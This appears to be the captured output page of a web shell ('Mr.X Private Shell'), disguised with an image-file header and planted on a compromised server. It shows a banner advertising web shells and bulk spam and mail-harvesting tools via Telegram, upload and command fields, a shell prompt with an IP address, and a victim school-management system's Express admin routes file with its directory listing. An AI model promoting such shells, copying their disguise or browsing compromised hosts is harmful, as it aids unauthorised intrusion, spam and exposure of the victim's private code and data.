����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
import express from "express";
import {
  registerAdmin,
  loginAdmin,
} from "../controllers/admin/adminController.js";
import {
  createUser,
  getUserById,
  updateUser,
  listUsers,
  deleteUser,
  getStaffPerMonthChart,
  getStaffRoleChart,
  getStaffStats,
  getStudentPerMonthChart,
  getStudentCourseChart,
  getStudentStats,
} from "../controllers/admin/adminUserController.js";
import {
  getAllClasses,
  createClass,
  getClassById,
  updateClass,
  deleteClass,
  getClassStats,
  getClassStatusChart,
  getStudentsPerClassChart,
  getCourseOptions,
  getClassOptions,
  getTeacherOptions,
  assignTeacherToClass,
  assignTeachersToClass,
  getClassTeachers,
  getClassesByTeacher,
  removeTeacherFromClass
} from "../controllers/admin/adminClassController.js";
import {
  createCourse,
  getAllCourses,
  getCourseById,
  updateCourse,
  deleteCourse,
  getCoursesStats,
  getCoursesStatusChart
  
} from "../controllers/admin/adminCourseController.js";
import {changeAdminEmail, changeAdminPassword, getAdminProfile, updateAdminProfile} from '../controllers/admin/adminSettingController.js'

import {
  getQueriesForDashboard,
  getDashboardCharts,
  getDashboardStats,
  getRecentActivities,

} from '../controllers/admin/adminDashboardController.js'

import {
  createQuiz,
  deleteQuiz,
  getQuizDashboardCards,
  getQuizDetails,
  getQuizFilterOptions,
  getQuizzes,
  updateQuiz,
  closeQuiz,
  downloadQuizTemplate,
  gradeQuizSubmission,
  publishQuiz
} from '../controllers/teacher/teacherQuizController.js'

import {
  getAllDepartments,
  createDepartment,
  getDepartmentById,
  updateDepartment,
  deleteDepartment,
  getActiveInactiveChart,
  getDepartmentStats,
  getMemberDistributionChart,
  getDepartmentsOptions
} from "../controllers/admin/adminDepartmentController.js";

import {
  getQueries,
  getQueryDetails,
  replyToQuery,
  updateQueryStatus,
  deleteQuery,
  getQueryStats
} from "../controllers/admin/adminQueryController.js";

import {
  createTimetable,
  deleteTimetable,
  getAllTimetables,
  getTimetableById,
  updateTimetable,
  getTimetableStats,
  getTimetableByClassChart,
  getTimetableStatusChart,
  getTimetableByClass,
  getTimetableOptions
} from '../controllers/admin/timetableController.js'

import {
  createEvent,
  deleteEvent,
  getEventById,
  getEvents,
updateEvent,
getEventStats
} from '../controllers/admin/eventController.js'

import {
  createNotification,
  updateNotification,
  publishNotification,
  archiveNotification,
  deleteNotification,
  getNotifications,
  getNotificationById,
  getNotificationStats,

    } from '../controllers/notificationController.js'


import {
  adminGetAllLeaves,
  adminGetPendingLeaves,
  adminProcessLeave,
  adminGetLeaveDetails,
  adminGetUserLeaveQuota,
  adminUpdateLeaveQuota,
  adminGetAllUsersQuotas,
  adminBulkAddLeaveQuota,
  adminGetLeaveStats,
  adminGetLeaveCalendar,
  adminDeleteLeave,
} from "../controllers/admin/adminLeaveController.js";


import {
  adminGetAllStaffForAttendance,
  adminCheckIn,
  adminCheckOut,
  adminMarkAbsent,
  adminMarkLeave,
  adminBulkCheckIn,
  adminBulkCheckOut,
  adminBulkMarkAbsent,
  adminGetAttendanceList,
  adminGetAttendanceDetails,
  adminUpdateAttendance,
  adminDeleteAttendance,
  adminGetAttendanceSummary,
  adminGetAttendanceStats,
  adminGetAttendanceCharts,
  adminGetWorkHours,
  adminUpdateWorkHours,
  adminBulkMarkLeave,
} from "../controllers/admin/adminAttendanceController.js";

import {
  adminGetSalariesList,
  adminGetSalaryDetails,
  adminGetSalarySummary
} from '../controllers/admin/adminSalaryController.js'



import {
  bulkUploadQuestions,
  createQuestion,
  deleteQuestion,
  listQuestions,
  updateQuestion
} from '../controllers/hr/teacherSurveyQues.js'

import {
  deleteExpense,
  createExpense,
  createRecurringExpenses,
  getExpenseCategories,
  updateExpense,
  getExpenseDetails,
  getExpenseStats,
  getExpensesList,
  processExpense
} from '../controllers/accounts/expenseController.js'

import {
  getStatsKPIs, 
  getPerformanceSummaryForCharts, 
  getStaffKPIs, 
  getStaffKPIDetail,
} from '../controllers/hr/performanceController.js'

import {
  createContract,
  deleteContract,
  updateContract,
  getContractStats,
  getContractsList,
  getContractDetails,
  getContractExpiryChart,
  getContractTypeChart
} from '../controllers/hr/contractController.js'

import {
  getReportCards,
  getExpensesReport,
 getFeeExpenseGraph,
 getFeeReport 
} from '../controllers/accounts/reportController.js'

import {
  addFeeDiscount,
  assignFeeStructure,
  createFeeStructure,
  getStudentOptions,
  deleteFeeStructure,
  getFeeCollectionChart,
  deleteFeePayment,
  deleteStudentFee,
  getFeeStats,
  getFeeStatusChart,
  getFeeStructureDetails,
  getFeeStructuresList,
  getStudentFeeDetails,
  getStudentFeesList,
  recordFeePayment,
  updateFeeStructure
} from '../controllers/accounts/feesController.js'

import {
  assignToStudents,
  createAssignment,
  deleteAssignment,
  getAssignmentSubmissions,
  getSingleSubmission,
  getTeacherAssignments,
  gradeSubmission,
  publishAssignment,
  updateAssignment
} from '../controllers/teacher/teacherAssignmentController.js'

import validateBody from "../middlewares/Validator.js";
import { adminAuth } from "../middlewares/AuthMiddleware.js";
import {
  getLoginSchema,
  getRegisterSchema,
  getUpdateAdminProfileSchema,
  createUserSchema,
  updateUserSchema,
  createClassSchema,
  updateClassSchema,
  replyQuerySchema,
  queryStatusSchema,
  // createDepartmentSchema,
  // updateDepartmentSchema,
  createNotificationSchema,
  updateNotificationSchema,
  updateQuizSchema,
  createQuizSchema
} from "../validations/index.js";
import { 
  createCourseSchema , 
  createDepartmentSchema, 
  updateCourseSchema, 
  updateDepartmentSchema,
  createContractSchema,
  updateContractSchema,
  createTeacherQuestionSchema,
  updateTeacherQuestionSchema,
  createStudentSchema,
  updateStudentSchema
} from "../validations/adminValidation.js";
import { uploadFile } from "../config/multer.js";
import { createEventSchema, updateEventSchema, updateTimetableSchema } from "../validations/hrValidations.js";
import { archiveGrade, createGrade, deleteGrade, getClassGrades, getStudentGrades, publishGrade, updateGrade, uploadGradesExcel } from "../controllers/teacher/teacherGradeController.js";
import { exportTimetable, getTodayOverview, getWeeklyTimetable } from "../controllers/teacher/teacherTimetableController.js";
import { 
  accountantGenerateSalaries, 
  accountantGetSalariesList, 
  accountantGetSalaryDetails, 
  accountantGetSalarySummary, 
  accountantPaySalary, 
  accountantUpdateSalary,
  accountantDeleteSalary,
  accountantDeleteSalaryPayment,
  accountantGetPaymentHistory,
  getStaffList,
  accountantGetPaymentDetails,
  generateTransactionId
 } from "../controllers/accounts/salaryController.js";
import { 
  studentsPerClassChart,
  assignToClass,
  createStudent,
  deleteStudent,
  getStats,
  getStudentDetails,
  getStudentList,
  promoteStudent,
  studentsPerYearChart,
  updateStudent
 } from "../controllers/hr/studentController.js";

const router = express.Router();

// Admin auth routes (public)
router.post("/register", validateBody(getRegisterSchema), registerAdmin);
router.post("/login", validateBody(getLoginSchema), loginAdmin);
router.get("/profile", adminAuth,getAdminProfile);
router.patch(
  "/profile",
  adminAuth,
  validateBody(getUpdateAdminProfileSchema),
  updateAdminProfile
);

router.patch("/change-email", adminAuth, changeAdminEmail);
router.patch("/change-password", adminAuth, changeAdminPassword);

// Protected routes - apply admin auth middleware to all routes below
router.use(adminAuth);

// User management routes
router.post("/create-user", validateBody(createUserSchema), createUser);
router.get("/all-users", listUsers);
router.get("/user/:id", getUserById);
router.put("/update-user/:id", validateBody(updateUserSchema), updateUser);
router.delete("/delete-user/:id", deleteUser);
router.get("/staff-stats", getStaffStats);
router.get("/staff-month-chart", getStaffPerMonthChart);
router.get("/staff-role-chart", getStaffRoleChart);

//Student 
router.get("/students", getStudentList);
router.post("/students", validateBody(createStudentSchema), createStudent);
router.get("/students/:id", getStudentDetails);
router.put("/students/:id", validateBody(updateStudentSchema), updateStudent);
router.delete("/students/:id", deleteStudent);
router.post("/students/:id/assign-class", assignToClass);
router.post("/students/:id/promote", promoteStudent);
router.get("/students-stats", getStats);
router.get("/students-class-chart", studentsPerClassChart);
router.get("/students-year-chart", studentsPerYearChart);



// Class management routes
router.get('/classes/stats', getClassStats);
router.get('/classes/students-class', getStudentsPerClassChart);
router.get('/classes-options', getClassOptions);
router.get('/classes/status', getClassStatusChart)
router.get("/classes", getAllClasses);
router.post("/classes", validateBody(createClassSchema), createClass);
router.get("/classes/:id", getClassById);
router.patch("/classes/:id", validateBody(updateClassSchema), updateClass);
router.delete("/classes/:id", deleteClass);
router.get('/course-options', getCourseOptions)
router.get('/teacher-options', getTeacherOptions)
router.get("/class/:classId/teachers", getClassTeachers);
router.post("/classes/:classId/teachers", assignTeacherToClass);
router.post("/class/:classId/teachers/bulk", assignTeachersToClass);
router.delete("/class/:classId/teachers/:teacherId", removeTeacherFromClass);
router.get("/class/by-teacher/:teacherId", getClassesByTeacher);

// Course management routes
router.get('/courses/stats', getCoursesStats);
router.get('/courses/status/chart',getCoursesStatusChart );
router.get("/courses", getAllCourses);
router.post("/courses", validateBody(createCourseSchema), createCourse);
router.get("/courses/:id", getCourseById);
router.patch("/courses/:id",validateBody(updateCourseSchema), updateCourse);
router.delete("/courses/:id", deleteCourse);


// Department management routes
router.get('/departments/stats', getDepartmentStats);
router.get('/departments/status/chart', getActiveInactiveChart);
router.get('/departments/members/chart', getMemberDistributionChart);
router.get("/departments", getAllDepartments);
router.post(
  "/departments",
  validateBody(createDepartmentSchema),
  createDepartment
);
router.get("/departments/:id", getDepartmentById);
router.get("/departments-options", getDepartmentsOptions);
router.put(
  "/departments/:id",
  validateBody(updateDepartmentSchema),
  updateDepartment
);
router.delete("/departments/:id", deleteDepartment);



// Dashboard routes
router.get("/dashboard/queryStats", getQueriesForDashboard);
router.get("/dashboard/stats", getDashboardStats)
router.get("/dashboard/charts", getDashboardCharts);
router.get("/dashboard/recent-activities", getRecentActivities);

// Timetable routes
router.post("/timetables",uploadFile.single('file'), createTimetable);
router.get("/timetables", getAllTimetables);
router.get("/timetables/:id", getTimetableById);
router.patch("/timetables/:id", validateBody(updateTimetableSchema),uploadFile.single('file'),  updateTimetable);
router.delete("/timetables/:id", deleteTimetable);
router.get("/timetable-stats", getTimetableStats)
router.get("/timetable-class-chart", getTimetableByClassChart)
router.get("/timetable-status-chart", getTimetableStatusChart)
router.get("/timetable-class-chart", getTimetableByClass)
router.get("/timetables-options", getTimetableOptions)

// Event routes
router.get('/events/stats',getEventStats);
router.post('/events',validateBody(createEventSchema),createEvent);
router.get('/events',getEvents);
router.get('/events/:id',getEventById);
router.patch('/events/:id',validateBody(updateEventSchema),updateEvent);
router.delete('/events/:id',deleteEvent);


// Notification routes
router.post('/notifications', uploadFile.array('file'), validateBody(createNotificationSchema), createNotification);
router.put('/notifications/:id', uploadFile.array('file'),validateBody(updateNotificationSchema), updateNotification);
router.patch('/notifications/:id/publish', publishNotification);
router.patch('/notifications/:id/archive', archiveNotification);
router.delete('/notifications/:id', deleteNotification);
router.get('/notifications', getNotifications);
router.get('/notifications/:id', getNotificationById);
router.get('/notifications-stats', getNotificationStats);

// Leave management 

router.get("/leaves", adminGetAllLeaves);
router.get("/leaves/pending", adminGetPendingLeaves);
router.get("/leave/:id", adminGetLeaveDetails);
router.put("/leave/process/:id", adminProcessLeave);
router.delete("/leave/:id", adminDeleteLeave);

// Quota management
router.get("/user-quota/:userId", adminGetUserLeaveQuota);
router.put("/user-quota/:userId", adminUpdateLeaveQuota);
router.get("/all-quotas", adminGetAllUsersQuotas);
router.post("/bulk-quota", adminBulkAddLeaveQuota);

// Reports
router.get("/leave-stats", adminGetLeaveStats);
router.get("/leave-calendar", adminGetLeaveCalendar);


// Attendance management
router.get("/attendance-work-hours",  adminGetWorkHours);
router.put("/attendance-work-hours",  adminUpdateWorkHours);
router.get("/attendance-staff-list",  adminGetAllStaffForAttendance);
router.post("/attendance-check-in",  adminCheckIn);
router.post("/attendance-check-out",  adminCheckOut);
router.post("/attendance-mark-absent",  adminMarkAbsent);
router.post("/attendance-mark-leave",  adminMarkLeave);
router.post("/attendance-bulk-mark-leave",  adminBulkMarkLeave);
router.post("/attendance-bulk-check-in",  adminBulkCheckIn);
router.post("/attendance-bulk-check-out",  adminBulkCheckOut);
router.post("/attendance-bulk-mark-absent",  adminBulkMarkAbsent);
router.get("/attendance/list",  adminGetAttendanceList);
router.get("/attendance-summary",  adminGetAttendanceSummary);
router.get("/attendance-stats",  adminGetAttendanceStats);
router.get("/attendance-charts",  adminGetAttendanceCharts);
router.get("/attendance/:id",  adminGetAttendanceDetails);
router.put("/attendance/:id",  adminUpdateAttendance);
router.delete("/attendance/:id", adminDeleteAttendance);


// Salary management
router.get("/salary-list",  accountantGetSalariesList);
router.get("/salary-summary",  accountantGetSalarySummary);
router.get("/salary/:id",  accountantGetSalaryDetails);
router.post("/salary/generate", accountantGenerateSalaries);
router.put("/salary/:id", accountantUpdateSalary);
router.post("/salary/pay", accountantPaySalary);
router.delete("/salary/payment/:id", accountantDeleteSalaryPayment)
router.delete("/salary/:id", accountantDeleteSalary)
router.get("/salary-payment-history", accountantGetPaymentHistory)
router.get("/staff-list", getStaffList)
router.get("/salary-payment-history/:id", accountantGetPaymentDetails)




// Teacher Survey Question 
router.get('/teacher-survey/questions',listQuestions);
router.post('/teacher-survey/questions',validateBody(createTeacherQuestionSchema), createQuestion);
router.patch('/teacher-survey/questions/:id',validateBody(updateTeacherQuestionSchema), updateQuestion);
router.delete('/teacher-survey/questions/:id', deleteQuestion);
router.post('/teacher-survey/questions/bulk-upload',uploadFile.single('file'), bulkUploadQuestions);

// Performance Management
router.get('/performance/kpis', getStatsKPIs);
router.get('/performance/summary', getPerformanceSummaryForCharts);
router.get('/performance/staff-kpis', getStaffKPIs);
router.get("/performance-staff-kpis/:teacherId", getStaffKPIDetail)

// Expense Management
router.get('/expenses-list', getExpensesList);
router.get('/expenses/:id', getExpenseDetails);
router.get('/expenses-stats', getExpenseStats);
router.get('/expenses-categories', getExpenseCategories);
router.post('/expenses', uploadFile.single('file'), createExpense);
router.post('/expenses-recurring', createRecurringExpenses);
router.post('/expenses/:id/process', processExpense);
router.put('/expenses/:id',uploadFile.single('file'), updateExpense);
router.delete('/expenses/:id', deleteExpense);

// Reports Management
router.get('/reports/fee', getFeeReport);
router.get('/reports/cards-fee', getReportCards);
router.get('/reports/expenses', getExpensesReport);
router.get('/reports/fee-expense-graph', getFeeExpenseGraph);

// Contract Management
router.post('/contracts', uploadFile.single('file'),validateBody(createContractSchema), createContract);
router.get('/contracts', getContractsList);
router.get('/contracts/:id', getContractDetails);
router.put('/contracts/:id', uploadFile.single('file'), validateBody(updateContractSchema), updateContract);
router.delete('/contracts/:id', deleteContract);
router.get('/contracts-stats', getContractStats);
router.get('/contracts-expiry-chart', getContractExpiryChart);
router.get('/contracts-type-chart', getContractTypeChart);

//Fee 
router.get("/fee-structures", getFeeStructuresList);
router.post("/fee-structures", createFeeStructure);
router.get("/fee-structures/:id", getFeeStructureDetails);
router.put("/fee-structures/:id", updateFeeStructure);
router.delete("/fee-structures/:id", deleteFeeStructure);
router.get('/fee-stats', getFeeStats)
router.get('/fee-collection-chart', getFeeCollectionChart)
router.get('/fee-status-chart', getFeeStatusChart)
router.delete("/student-fees/:id", deleteStudentFee); 
router.delete("/fee-transactions/:id", deleteFeePayment);

router.get('/student-options', getStudentOptions)
router.get("/student-fees", getStudentFeesList);
router.post("/student-fees/assign", assignFeeStructure);
router.get("/student-fees/:id", getStudentFeeDetails);
router.post("/student-fees/payment", recordFeePayment);
router.post("/student-fees/:id/discount", addFeeDiscount);

router.post("/grades/upload", uploadFile.single("file"),uploadGradesExcel);
router.post("/grades",createGrade);
router.put("/grades/:id",updateGrade);
router.patch("/grades/:id/publish",publishGrade);
router.patch("/grades/:id/archive",archiveGrade);
router.get( "/grades/student/:studentId",getStudentGrades);
router.get("/grades/class/:classId",getClassGrades);
router.delete("/grades/:id",deleteGrade);

//Teacher Timetable
router.get("/timetable/today-overview", getTodayOverview);
router.get("/timetable/weekly", getWeeklyTimetable);
router.get("/timetable/export", exportTimetable);

//Query Managment
router.get("/queries", getQueries);
router.get("/queries/:id", getQueryDetails);
router.post("/queries/:id/reply", validateBody(replyQuerySchema), replyToQuery);
router.put(
  "/queries/:id/status",
  validateBody(queryStatusSchema),
  updateQueryStatus
);
router.get('/queries-stats', getQueryStats)
router.delete('/queries/:id', deleteQuery)


router.post("/assignment/",uploadFile.array("files", 20),createAssignment);
router.put("/assignment/:id",uploadFile.array("files", 20),updateAssignment);
router.delete("/assignment/:id", deleteAssignment);
router.patch("/assignment/:id/publish", publishAssignment);
router.patch("/assignment/:id/assign", assignToStudents);
router.get("/assignment", getTeacherAssignments);
router.get("/assignment/:id/submissions", getAssignmentSubmissions);
router.get("/assignment/:assignmentId/submission/:submissionId", getSingleSubmission);
router.patch(
 "/assignment/:assignmentId/submission/:submissionId/grade",
  gradeSubmission
);

router.get("/quiz/dashboard-cards", getQuizDashboardCards);
router.get("/quiz/filter-options", getQuizFilterOptions);
router.get("/quiz", getQuizzes);
router.post("/quiz",uploadFile.single("file"), validateBody(createQuizSchema),createQuiz);
router.get("/quiz/:id", getQuizDetails);
router.put("/quiz/:id", validateBody(updateQuizSchema), updateQuiz);
router.delete("/quiz/:id", deleteQuiz);

router.get('/template', downloadQuizTemplate);
router.patch('/publish/:id', publishQuiz);
router.patch('/close/:id', closeQuiz);
router.patch('/grade/:quizId/submissions/:submissionId', gradeQuizSubmission);



export default router;

Filemanager

Name Type Size Permission Actions
accountsRoutes.js File 5.47 KB 0644
adminRoutes.js File 19.54 KB 0644
health.js File 255 B 0644
hrRoutes.js File 15.27 KB 0644
index.js File 573 B 0644
studentRoutes.js File 4.82 KB 0644
teacherRoutes.js File 8.8 KB 0644
userRoutes.js File 794 B 0644